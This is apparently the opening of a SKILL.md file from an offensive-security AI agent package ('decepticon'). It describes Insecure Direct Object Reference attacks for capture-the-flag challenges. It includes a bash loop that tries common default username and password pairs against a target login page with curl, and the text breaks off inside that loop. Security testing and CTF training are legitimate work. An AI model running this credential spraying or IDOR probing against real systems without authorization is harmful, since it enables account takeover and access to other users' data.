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exploit-idor

Insecure Direct Object References (IDOR) — authorization bypass through predictable object references (sequential IDs, UUIDs, filenames, encoded IDs). Covers horizontal/vertical privilege escalation, ID enumeration, HTTP method tampering, and JWT sub claim manipulation.

packages/decepticon/decepticon/skills/standard/exploit/web/idor/SKILL.md

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Nov 7, 2026
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Apache-2.0

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# Insecure Direct Object References (IDOR)

Exploits missing or inadequate authorization checks on object references (IDs, filenames, GUIDs), allowing access to other users' resources.

## Default Credentials Fast-Path (when `default_credentials` is a co-tag)

When `default_credentials` appears alongside `idor` in the challenge tags, attempt login FIRST before any IDOR probing:

```bash
# Try top default credential pairs in your FIRST exploit bash call
for creds in "admin:admin" "admin:password" "test:test" "admin:123456" "user:user" "admin:admin123"; do
  user="${creds%%:*}"; pass="${creds##*:}"
  resp=$(curl -s -c /tmp/cookies.txt -X POST "http://<TARGET>/login" \
[Credential-related source omitted]